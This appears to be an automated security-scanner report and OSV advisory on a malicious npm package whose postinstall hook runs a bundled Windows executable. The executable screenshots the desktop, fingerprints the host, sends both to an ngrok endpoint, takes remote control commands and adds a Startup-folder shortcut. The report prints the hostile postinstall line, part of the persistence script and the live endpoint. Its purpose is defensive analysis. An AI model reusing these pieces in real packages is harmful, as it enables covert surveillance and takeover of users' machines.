registry / dakumangalsingh / 1.0.0

dakumangalsingh@1.0.0

AI Security Review

scanned 4d ago · by lpm-firewall-ai

Installation automatically launches a bundled executable. Its JAR captures the desktop, sends it with a machine identifier to a remote endpoint, accepts remote automation commands, and includes a Startup-folder persistence script.

Static reason

One or more suspicious static signals were detected.

Trigger

npm postinstall

Impact

Unconsented surveillance, host fingerprinting, remote interaction with the user's desktop, and persistence.

Mechanism

install-time screen exfiltration and remote GUI control with optional Startup persistence

Attack narrative

npm invokes the bundled executable at postinstall. The launcher loads virus.jar, whose classes capture a desktop screenshot, construct a device identifier from host properties, and POST both to the hard-coded ngrok service. The service response is routed to GUI automation that can type, click, scroll, and use the clipboard. A remotely selected replicate command can run replicate.bat, which creates a shortcut and installs it in the current user's Startup folder.

Rationale

Direct inspection establishes an install-triggered surveillance and remote-control chain, plus optional persistence. This is concrete malicious behavior, not a noisy binary-artifact signal.

Evidence

package.jsonDakuMangalSingh/app/DakuMangalSingh.cfgDakuMangalSingh/app/virus.jarreplicate.batcleanup.batDakuMangalSingh/DakuMangalSingh.exe

Network endpoints1

monogamy-google-mustang.ngrok-free.dev/getcommand

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-13879

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in dakumangalsingh (npm)

Details

package.json declares a postinstall hook that executes a bundled Windows PE launcher (DakuMangalSingh\DakuMangalSingh.exe) at npm install time. The launcher is a jpackage wrapper that loads an embedded JAR named virus.jar containing classes Main, Executor, BatchExecutor, Fetch, RobotService (java.awt.Robot input synthesis), Screenshort (screen capture), and DeviceId (host fingerprinting) — the shape of a remote-command agent with screen-capture and input-synthesis capability. A bundled replicate.bat installs persistence by creating a shortcut to the dropped executable in %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup so the payload auto-runs at every user logon. A cleanup.bat kills the process and recursively deletes the package folder, providing anti-forensics on the installer's host. Installing the package on Windows results in immediate arbitrary code execution, a persistent logon-triggered agent, and evidence-removal tooling — with no legitimate library functionality.

References

OSV advisory PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

postinstall launches the bundled Windows executable.
Bundled Java payload captures a desktop screenshot and POSTs it to a hard-coded ngrok endpoint.
Payload derives a device identifier from Windows MachineGuid, MAC address, and username for the upload.
Server response is passed to an automation executor that controls mouse, keyboard, clipboard, and scrolling.
replicate.bat creates a shortcut and copies it into the Windows Startup folder for persistence.

Evidence against

No benign package functionality or documentation is present to justify install-time execution, screenshot collection, remote control, or persistence.
The native launcher appears to be a Java package launcher; the harmful behavior is in its bundled JAR.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 0 file(s), 0 B of source

Source & flagged code

8 flagged

package.jsonView file

Lines 1-12json

2 "name": "dakumangalsingh",

3 "version": "1.0.0",

4 "main": "index.js",

5 "scripts": {

6 "postinstall": "DakuMangalSingh//DakuMangalSingh.exe"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L6

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L6

7 },

8 "author": "",

9 "license": "ISC",

10 "description": ""

11}

DakuMangalSingh/runtime/bin/api-ms-win-crt-time-l1-1-0.dllView file

•path = DakuMangalSingh/runtime/bin/api-ms-win-crt-time-l1-1-0.dll kind = native_binary sizeBytes = 14288 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

DakuMangalSingh/runtime/bin/api-ms-win-crt-time-l1-1-0.dllView on unpkg

replicate.batView file

Lines 13-50text

13 echo ERROR: EXE not found!

14 echo Expected:

15 echo %EXE%

16 pause

17 exit /b 1

18)

20powershell.exe -NoProfile -ExecutionPolicy Bypass -Command ^

21"$ws = New-Object -ComObject WScript.Shell; ^

22$s = $ws.CreateShortcut('%SHORTCUT%'); ^

23$s.TargetPath = '%EXE%'; ^

24$s.WorkingDirectory = '%ROOT%DakuMangalSingh'; ^

25$s.Save(); ^

DakuMangalSingh/app/virus.jarView file

•path = DakuMangalSingh/app/virus.jar kind = high_entropy_blob sizeBytes = 13446 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

DakuMangalSingh/app/virus.jarView on unpkg

•path = DakuMangalSingh/app/virus.jar kind = compressed_blob sizeBytes = 13446 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

DakuMangalSingh/app/virus.jarView on unpkg

•path = DakuMangalSingh/app/virus.jar kind = nested_archive_needs_inspection sizeBytes = 13446 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

DakuMangalSingh/app/virus.jarView on unpkg

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = [redacted].exe

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = [redacted].exe

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

DakuMangalSingh/runtime/bin/api-ms-win-crt-time-l1-1-0.dllView file

•path = DakuMangalSingh/runtime/bin/api-ms-win-crt-time-l1-1-0.dll kind = native_binary sizeBytes = 14288 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

DakuMangalSingh/runtime/bin/api-ms-win-crt-time-l1-1-0.dllView on unpkg

Findings

3 High5 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighShips High Entropy BlobDakuMangalSingh/app/virus.jar

HighAi Review Evidencereplicate.bat

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumShips Native BinaryDakuMangalSingh/runtime/bin/api-ms-win-crt-time-l1-1-0.dll

MediumShips Build Helperreplicate.bat

MediumShips Compressed BlobDakuMangalSingh/app/virus.jar

MediumStructural Risk Force Deep Review

LowScripts Present

LowNested Archive Needs InspectionDakuMangalSingh/app/virus.jar